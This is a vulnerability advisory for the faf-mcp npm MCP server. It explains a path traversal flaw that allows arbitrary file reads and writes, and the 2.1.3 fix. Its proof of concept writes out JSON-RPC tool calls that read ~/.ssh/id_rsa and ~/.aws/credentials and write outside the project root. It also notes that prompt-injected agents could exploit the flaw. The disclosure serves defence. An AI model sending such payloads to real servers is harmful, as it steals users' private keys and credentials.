high · 7.5Aug 19, 2026

faf-mcp Arbitrary File Read/Write via Unconfined Path Argument

Rohit Hatagale
AI Security Researcher, SecureLayer7

The faf-mcp MCP server accepted caller-controlled file paths in its tools without restricting them to the project directory, letting any MCP client or prompt-injected agent read sensitive files like…

Packagefaf-mcp
Ecosystemnpm
Affected<= 2.1.2
Fixed in2.1.3
faf-mcp Arbitrary File Read/Write via Unconfined Path Argument

The problem

All tools in faf-mcp that accepted a path argument passed it through tilde expansion and path.resolve() and used the result directly for filesystem reads or writes. There was no check to confirm the resolved path stayed inside the project root.

The shared getProjectPath() helper and the general-purpose faf_read / faf_write tools both had this flaw. An absolute path like ~/.ssh/id_rsa or a ../ traversal sequence escaped the intended .faf project context entirely. The only limit was OS-level file permissions on the server process.

Proof of concept

A working proof-of-concept for this issue in faf-mcp, with the exact payload below.

json
// Sent as a JSON-RPC tool call over stdio to faf-mcp <= 2.1.2
// Read an SSH private key
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "faf_read",
    "arguments": {
      "path": "~/.ssh/id_rsa"
    }
  }
}

// Read AWS credentials
{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "faf_read",
    "arguments": {
      "path": "~/.aws/credentials"
    }
  }
}

// Write outside the project root via traversal
{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "tools/call",
  "params": {
    "name": "faf_write",
    "arguments": {
      "path": "../../../tmp/pwned",
      "content": "attacker-controlled content"
    }
  }
}

The root cause is the absence of a directory-confinement check after path resolution. Tilde expansion followed by path.resolve() produces a canonical absolute path, but without comparing that result against an allowlisted root, any absolute path or ../ sequence is accepted as-is.

This is a textbook CWE-22 (Path Traversal) compounded by CWE-73 (External Control of File Name or Path).

The patch introduced safe-path.ts, which canonicalizes paths through symlinks and then asserts the resolved path starts with an allowed root (cwd or system temp, overridable via FAF_ALLOWED_ROOTS). A central callTool() guard now runs this check before every tool dispatch, so any path that escapes the project root is refused with a PATH-DENIED error.

Context-specific tools (.faf / .fafm readers) are additionally restricted to only those file types, so secrets are refused regardless of directory.

The fix

Upgrade to faf-mcp 2.1.3 (npm install -g faf-mcp@2.1.3 or npx faf-mcp). If you cannot upgrade, run the server only against trusted local projects. Set the FAF_ALLOWED_ROOTS environment variable to a single project directory for a hard directory boundary as a partial workaround on older versions.

Reported by Zhihao Zhang (Worcester Polytechnic Institute) — coordinated disclosure of the same class of issue in a sibling server prompted the maintainers' self-audit.

References: [1][2][3]

Related research